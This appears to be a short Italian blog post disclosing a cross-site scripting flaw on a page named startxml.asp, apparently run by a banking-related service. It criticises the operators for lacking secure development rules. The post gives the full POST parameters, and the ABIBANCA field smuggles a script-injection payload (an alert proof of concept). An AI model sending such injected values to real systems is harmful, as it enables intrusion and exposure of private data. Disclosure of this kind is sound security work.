inviare via post alla pagina startxml.asp i seguenti valori

ABIBANCA=>">alert('codice%20xxs')%3B&ANAGRAFICAPDL=INTERNO%20XXXX%2EIT&CABFILIALEOPERATIVA=38XXX&CODICEFILIALE=9&submit1=XML%20per%20accesso%20XXXX

Mi viene da chiedermi, ma chi lavora con dati di una certa rilevanza non dovrebbe avere delle regole di sviluppo per evitare queste pubbliche violazioni della privacy? A quanto sembra no.

Update : Nel momento in cui scrivo l'host è ancora raggiungibile, ma attenzione, adesso la risposta è un bel "Bad Request (Invalid Hostname)".